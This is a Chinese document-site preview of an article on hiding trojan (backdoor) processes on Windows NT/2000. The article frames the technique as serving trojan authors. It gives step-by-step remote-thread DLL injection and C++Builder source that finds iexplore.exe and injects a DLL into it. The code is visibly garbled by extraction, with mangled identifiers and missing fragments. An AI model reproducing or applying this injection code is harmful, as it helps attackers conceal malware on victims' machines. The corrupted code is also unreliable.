windows nt-2000系统下进程的隐藏

windows nt-2000系统下进程的隐藏

ID:24775511

大小:60.00 KB

页数:6页

时间:2018-11-15

windows nt-2000系统下进程的隐藏_第1页
windows nt-2000系统下进程的隐藏_第2页
windows nt-2000系统下进程的隐藏_第3页
windows nt-2000系统下进程的隐藏_第4页
windows nt-2000系统下进程的隐藏_第5页
资源描述:

《windows nt-2000系统下进程的隐藏》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库

1、WindowsNT/2000系统下进程的隐藏摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。关键字进程线程木马动态链接库木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。本文分析了emory()函数将待隐藏的DLL的路径名。4)拷贝到步骤二已经分配的内存中。5)用GetProcAddress()函数获取LoadlibraryA()函数

2、的实地址(在kernel32.dll中)。6)用CreateRemoteThread()函数在远程进程中创建一个线程。7)它调用正确的LoadlibraryA()函数。8)为它传递步骤二中分配的内存地址。4具体实例下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:#include<vcl.h>#include<ahdrstop#include"Unit1.h"#pragmapackage(smart_init)#pragmaresource"*.dfm"InsistingpszLibFileN

3、ame;//存放待隐藏的DLL文件名HANDLEhProcessSnap=NULL;//进程快照句柄HANDLEhRemoteProcess;//远程进程句柄LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间HMODULEphmd;//存放kernel32.dll句柄HANDLEhRemoteThread1=NULL;//存放远程线程句柄TForm1*Form1;//---------------------------------------------------------__fastcallTForm1::

4、TForm1(Tponent*O(O1::Button1Click(TObject*Sender){PROCESSENTRY32pe32={0};DessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);exit(0);}//失败返回pe32.dp;pe32))//获取第一个进程{do{AnsiStringte;te=pe32.szExeFile;if(te.Pos("iexplore.exe")

5、

6、te.Pos("IEXPLORE.EXE"))//找到宿主进程,以IEXPLORE.

7、EXE为例{doteProcessId=pe32.th32ProcessID;break;}}p;pe32));//获取下一个进程}else{MessageBox(NULL,"取第一个进程失败","",MB_OK);exit(0);}hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD

8、PROCESS_VM_OPERATION

9、PROCESS_VM_EM_MIT,PAGE_READemory(hRemoteProcess,pszLibFileRemote,(LPVOID)pszLibFileName

10、.c_str(),cb,NULL);//把dll文件名写入申请的空间phmd=GetModuleHandle("kernel32.dll");LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)GetProcAddress(phmd,"LoadLibraryA");//获取动态链接库函数地址hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL);//

11、创建远程线程if(hRemoteThread1!=NULL)CloseHandle(hRemoteThread1);//关闭远程线程if(hProcessSnap!=NULL)CloseHandle(hProcessSnap);//关闭进程快照}  该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:#include<vcl.h>#include&

12、lt;ahdrstop#pragmaargsusedBOOLB_OK);break;}default:}returnTRUE;}  当使用RmtDll.exe程序将

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。